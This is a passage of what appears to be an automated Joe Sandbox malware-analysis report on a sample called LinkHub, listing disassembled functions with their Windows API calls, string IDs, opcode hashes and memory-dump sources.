                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: ErrorHandling__start
                                                                            • String ID: pow
                                                                            • API String ID: 3213639722-2276729525
                                                                            • Opcode ID: baf2cf6afe7a32a6f28a095362facd874d9d4431b32151f7d533b5d66ca20928
                                                                            • Instruction ID: 65ec1e2ac9da0e8e6ca3652dea48b9c7410e849d0be26ba9cff4f16013df2887
                                                                            • Opcode Fuzzy Hash: baf2cf6afe7a32a6f28a095362facd874d9d4431b32151f7d533b5d66ca20928
                                                                            • Instruction Fuzzy Hash: A051CC70E0A10A8AC715BB14CE013BA2BE4EF10B40F35DD19F1D5A62F9EF358DC5AA56
                                                                            Function 00DEA8EC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 184COMMON
                                                                            Download Yara Rule
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID: #
                                                                            • API String ID: 0-1885708031
                                                                            • Opcode ID: 3358d636df43506286829d6f826cd09d152c06a02cf86b4188a7ab61fb2e5153
                                                                            • Instruction ID: 91278fc609691b634c0a26bf216224778ae2166fa9e177491b665a97f93e97c3
                                                                            • Opcode Fuzzy Hash: 3358d636df43506286829d6f826cd09d152c06a02cf86b4188a7ab61fb2e5153
                                                                            • Instruction Fuzzy Hash: 72516731506297CFDB25EF28E440ABA7BA0EF15314F644056F8A1AB2D1DB34ED42CB71
                                                                            Function 00DEF6CA Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144sleepCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • Sleep.KERNEL32(00000000), ref: 00DEF6DB
                                                                            • GlobalMemoryStatusEx.KERNEL32(?), ref: 00DEF6F4
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: GlobalMemorySleepStatus
                                                                            • String ID: @
                                                                            • API String ID: 2783356886-2766056989
                                                                            • Opcode ID: 690173ad1fb9f6e098a8f81e9611a647ea62c456778f71df7685666b0c27f3ba
                                                                            • Instruction ID: f2cde4f0e6f12254cbe0a82437b6c6b07521d0a268be91c67e561688587b2524
                                                                            • Opcode Fuzzy Hash: 690173ad1fb9f6e098a8f81e9611a647ea62c456778f71df7685666b0c27f3ba
                                                                            • Instruction Fuzzy Hash: 455137718087489FD320AF51DC86BABBBE8FB95304F81885EF1D9512A1DB708529CB76
                                                                            Function 00E022A1 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 116COMMONLIBRARYCODE
                                                                            Download Yara Rule
                                                                            APIs
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: _free
                                                                            • String ID: Y,$Y,
                                                                            • API String ID: 269201875-2701591941
                                                                            • Opcode ID: 261c0559e83919f23ee2ac345d8294cd50485d5c33bbebdd607fad928f5fa895
                                                                            • Instruction ID: 767582c6001b60c362fc33761ecb1aed1d664d2f1596271cb54a66f3c31e2e9d
                                                                            • Opcode Fuzzy Hash: 261c0559e83919f23ee2ac345d8294cd50485d5c33bbebdd607fad928f5fa895
                                                                            • Instruction Fuzzy Hash: 5F417172A006158FCB18CF6DD88456EB7F2EF8D310B1581AEE615EB3A0D7349C41DB51
                                                                            Function 00E64008 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 96COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • DestroyWindow.USER32(?,?,?,?), ref: 00E640BD
                                                                            • MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?), ref: 00E640F8
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Window$DestroyMove
                                                                            • String ID: static
                                                                            • API String ID: 2139405536-2160076837
                                                                            • Opcode ID: 91ae6da5eccfc230f78b96a3f37358fce16e55fddcc9dc731725677742ecbae3
                                                                            • Instruction ID: ecb812aadfbd3f69f4786559db673951ff67aa3db4c30730acfd4cb76cd60f59
                                                                            • Opcode Fuzzy Hash: 91ae6da5eccfc230f78b96a3f37358fce16e55fddcc9dc731725677742ecbae3
                                                                            • Instruction Fuzzy Hash: C631C1B1540614AEDB20DF78DC80FFB73A8FF487A4F009619F995A7190DA70AC81DB61
                                                                            Function 00E64FD5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • SendMessageW.USER32(00000027,00001132,00000000,?), ref: 00E650BD
                                                                            • SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00E650D2
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: MessageSend
                                                                            • String ID: '
                                                                            • API String ID: 3850602802-1997036262
                                                                            • Opcode ID: 35b444988856a58c2c2377ca6eb84444d68d34e43dd1aa201e8de4483675f4ce
                                                                            • Instruction ID: 970a45ef13602bfe28b95a9bfb81545988896e4d2287ac461054e93e8ca4346f
                                                                            • Opcode Fuzzy Hash: 35b444988856a58c2c2377ca6eb84444d68d34e43dd1aa201e8de4483675f4ce
                                                                            • Instruction Fuzzy Hash: 3E314575B0060A9FDB44CFA9D880BEABBB5FF49344F20506AE904AB391D771E945CF90
                                                                            Function 00DD20B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 80COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                              • Part of subcall function 00DD249F: GetWindowLongW.USER32(00000000,000000EB), ref: 00DD24B0
                                                                              • Part of subcall function 00DD2234: GetWindowLongW.USER32(?,000000EB), ref: 00DD2242
                                                                            • GetParent.USER32(?), ref: 00E13440
                                                                            • DefDlgProcW.USER32(?,00000133,?,?,?,?), ref: 00E134CA
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: LongWindow$ParentProc
                                                                            • String ID: (
                                                                            • API String ID: 2181805148-2063206799
                                                                            • Opcode ID: 3520e511e2e7962241090114ce6047edb405a9721c8a9eb16485c93ad56ec79d
                                                                            • Instruction ID: 467acd83efcd3b26c36b0a1f7b9e4cacd4a5a3157de6f733d69f221e2e917e02
                                                                            • Opcode Fuzzy Hash: 3520e511e2e7962241090114ce6047edb405a9721c8a9eb16485c93ad56ec79d
                                                                            • Instruction Fuzzy Hash: C6218030601244AFCB269F78CC4ADF93B66EF56364F184245F6256B3E2C3319E95D620
                                                                            Function 00E641AC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                              • Part of subcall function 00DD7873: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 00DD78B1
                                                                              • Part of subcall function 00DD7873: GetStockObject.GDI32(00000011), ref: 00DD78C5
                                                                              • Part of subcall function 00DD7873: SendMessageW.USER32(00000000,00000030,00000000), ref: 00DD78CF
                                                                            • GetWindowRect.USER32(00000000,?), ref: 00E64216
                                                                            • GetSysColor.USER32(00000012), ref: 00E64230
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Window$ColorCreateMessageObjectRectSendStock
                                                                            • String ID: static
                                                                            • API String ID: 1983116058-2160076837
                                                                            • Opcode ID: 3c944f7109dcafc3c3403c56f5fc5db614e2cfa7936c993711e6bdd12e21339c
                                                                            • Instruction ID: d3eac0457f1d8ef9e95af79ecaf11febff72cf2c0ed185967dda7dfadc7a37c2
                                                                            • Opcode Fuzzy Hash: 3c944f7109dcafc3c3403c56f5fc5db614e2cfa7936c993711e6bdd12e21339c
                                                                            • Instruction Fuzzy Hash: DB1156B2A50209AFDB00DFA8DC45AEA7BE8EB08358F105524F955E32A0E674E8509B60
                                                                            Function 00E4D763 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66networkCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 00E4D7C2
                                                                            • InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 00E4D7EB
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Internet$OpenOption
                                                                            • String ID: <local>
                                                                            • API String ID: 942729171-4266983199
                                                                            • Opcode ID: a44848cb26899e52cca49f2938aa3876f571f2d46077f186f3abcacf1e073623
                                                                            • Instruction ID: 937a240e361e21506a92463867ff050142534b5cde846a3eb9e78b5673619cc2
                                                                            • Opcode Fuzzy Hash: a44848cb26899e52cca49f2938aa3876f571f2d46077f186f3abcacf1e073623
                                                                            • Instruction Fuzzy Hash: 93112571609232BEDB344B62AC4DEF7BE9CEB127E8F00522BF509A3080D2649844D2F0
                                                                            Function 00E375ED Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                              • Part of subcall function 00DDB329: _wcslen.LIBCMT ref: 00DDB333
                                                                            • CharUpperBuffW.USER32(?,?,?), ref: 00E3761D
                                                                            • _wcslen.LIBCMT ref: 00E37629
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: _wcslen$BuffCharUpper
                                                                            • String ID: STOP
                                                                            • API String ID: 1256254125-2411985666
                                                                            • Opcode ID: f0964831c0ba7e323e83b0047501c116301c9eacd0e5df924e502f014604374b
                                                                            • Instruction ID: be249f9d38cf14526156c7481483cea410ac12dc3aa8d380f0a7296fe3a64f32
                                                                            • Opcode Fuzzy Hash: f0964831c0ba7e323e83b0047501c116301c9eacd0e5df924e502f014604374b
                                                                            • Instruction Fuzzy Hash: D60108726149278BCB309EBDCC6A9BF7BB5AB50368F411525E462A2290EB31D804C260
                                                                            Function 00E3262B Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                              • Part of subcall function 00DDB329: _wcslen.LIBCMT ref: 00DDB333
                                                                              • Part of subcall function 00E345FD: GetClassNameW.USER32(?,?,000000FF), ref: 00E34620
                                                                            • SendMessageW.USER32(?,000001A2,000000FF,?), ref: 00E32699
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: ClassMessageNameSend_wcslen
                                                                            • String ID: ComboBox$ListBox
                                                                            • API String ID: 624084870-1403004172
                                                                            • Opcode ID: 2a22d9806449376518ff51b537c83ea309151e30a27bdfe8ae0a9947de8eef92
                                                                            • Instruction ID: 18b1d3be6dc5af56e660990acccd1ae5a16c1c4fdfec1e9278264bdf091675d0
                                                                            • Opcode Fuzzy Hash: 2a22d9806449376518ff51b537c83ea309151e30a27bdfe8ae0a9947de8eef92
                                                                            • Instruction Fuzzy Hash: D201B5B5A00214ABCF04AB64CC5ADFE7B68EF45364F50161BE572B73C1EA315808C660
                                                                            Function 00E32525 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                              • Part of subcall function 00DDB329: _wcslen.LIBCMT ref: 00DDB333
                                                                              • Part of subcall function 00E345FD: GetClassNameW.USER32(?,?,000000FF), ref: 00E34620
                                                                            • SendMessageW.USER32(?,00000180,00000000,?), ref: 00E32593
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: ClassMessageNameSend_wcslen
                                                                            • String ID: ComboBox$ListBox
                                                                            • API String ID: 624084870-1403004172
                                                                            • Opcode ID: eb37dec72695ae7b6782f671a4779d34719274b092a6329ce3e90283a12ac864
                                                                            • Instruction ID: 0eebc3fa50fea5583873026a56b15463dda171ce8f7bda9d113e931162db32c3
                                                                            • Opcode Fuzzy Hash: eb37dec72695ae7b6782f671a4779d34719274b092a6329ce3e90283a12ac864
                                                                            • Instruction Fuzzy Hash: 750184B5A40104BBCF05E7A0C966EFE7BA9DF55744F50101BA942B3281EA509B08D6B2
                                                                            Function 00E325A9 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                              • Part of subcall function 00DDB329: _wcslen.LIBCMT ref: 00DDB333
                                                                              • Part of subcall function 00E345FD: GetClassNameW.USER32(?,?,000000FF), ref: 00E34620
                                                                            • SendMessageW.USER32(?,00000182,?,00000000), ref: 00E32615
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: ClassMessageNameSend_wcslen
                                                                            • String ID: ComboBox$ListBox
                                                                            • API String ID: 624084870-1403004172
                                                                            • Opcode ID: de6efaf9eea38733ee8cd833d1e3d6cd5353d23af89ef6793e94c8e42c88e031
                                                                            • Instruction ID: abcb89d7737f02639b05ff359fc3e43c355d85bb35d4fd6582bd36142c6072a0
                                                                            • Opcode Fuzzy Hash: de6efaf9eea38733ee8cd833d1e3d6cd5353d23af89ef6793e94c8e42c88e031
                                                                            • Instruction Fuzzy Hash: F301DB75E44204B7CF15E750D916EFF7BA8DF05744F50201BB942B3281EB519E08D6B1
                                                                            Function 00E326B5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 46windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                              • Part of subcall function 00DDB329: _wcslen.LIBCMT ref: 00DDB333
                                                                              • Part of subcall function 00E345FD: GetClassNameW.USER32(?,?,000000FF), ref: 00E34620
                                                                            • SendMessageW.USER32(?,0000018B,00000000,00000000), ref: 00E32720
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: ClassMessageNameSend_wcslen
                                                                            • String ID: ComboBox$ListBox
                                                                            • API String ID: 624084870-1403004172
                                                                            • Opcode ID: a68358f2b962734c2459c53747e797ce4a65d89913dc41c7275c0292f6729e2a
                                                                            • Instruction ID: 68c4bf820860403ba264346d0166f38428a934050c121a7e5b7571e9d8702b45
                                                                            • Opcode Fuzzy Hash: a68358f2b962734c2459c53747e797ce4a65d89913dc41c7275c0292f6729e2a
                                                                            • Instruction Fuzzy Hash: 92F0A475A40214ABCB15A7A49C5AFFE7BA8EF05754F50291BF562B32C1EB61680CC270
                                                                            Function 00E69AFD Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                              • Part of subcall function 00DD249F: GetWindowLongW.USER32(00000000,000000EB), ref: 00DD24B0
                                                                            • DefDlgProcW.USER32(?,0000002B,?,?,?), ref: 00E69B6D
                                                                              • Part of subcall function 00DD2234: GetWindowLongW.USER32(?,000000EB), ref: 00DD2242
                                                                            • SendMessageW.USER32(?,00000401,00000000,00000000), ref: 00E69B53
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: LongWindow$MessageProcSend
                                                                            • String ID: (
                                                                            • API String ID: 982171247-2063206799
                                                                            • Opcode ID: 5e1a6d67dc97be464a62ca1dc02cca5bbbd1eb654171c99be3172acc3325df8c
                                                                            • Instruction ID: 0695552ec9c1d839589709ae5e5cad50828b3481fdd2ae3d959b335e146e3789
                                                                            • Opcode Fuzzy Hash: 5e1a6d67dc97be464a62ca1dc02cca5bbbd1eb654171c99be3172acc3325df8c
                                                                            • Instruction Fuzzy Hash: 4B01D430244214AFCB259F15FC44F663F6AFF853A8F100519FA423B2E1C7726805DB64
                                                                            Function 00E03A62 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMONLIBRARYCODE
                                                                            Download Yara Rule
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID: 2<$j3
                                                                            • API String ID: 0-463933582
                                                                            • Opcode ID: c898f2029c80330e65bcf00bfe70a47aac3cb0443a99d86ca752c265ffee7b09
                                                                            • Instruction ID: 90d64b4f3dbc092767d0d131710b559ec7e2706686eee0246d60bf43b960bf07
                                                                            • Opcode Fuzzy Hash: c898f2029c80330e65bcf00bfe70a47aac3cb0443a99d86ca752c265ffee7b09
                                                                            • Instruction Fuzzy Hash: 37F09025604149AADB149BA1CC40AFA73BCDB04740F50406ABCC9E72D0FA748FD4D365
                                                                            Function 00E68432 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 35COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                              • Part of subcall function 00DD249F: GetWindowLongW.USER32(00000000,000000EB), ref: 00DD24B0
                                                                            • GetWindowLongW.USER32(?,000000F0), ref: 00E68471
                                                                            • GetWindowLongW.USER32(?,000000EC), ref: 00E6847F
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
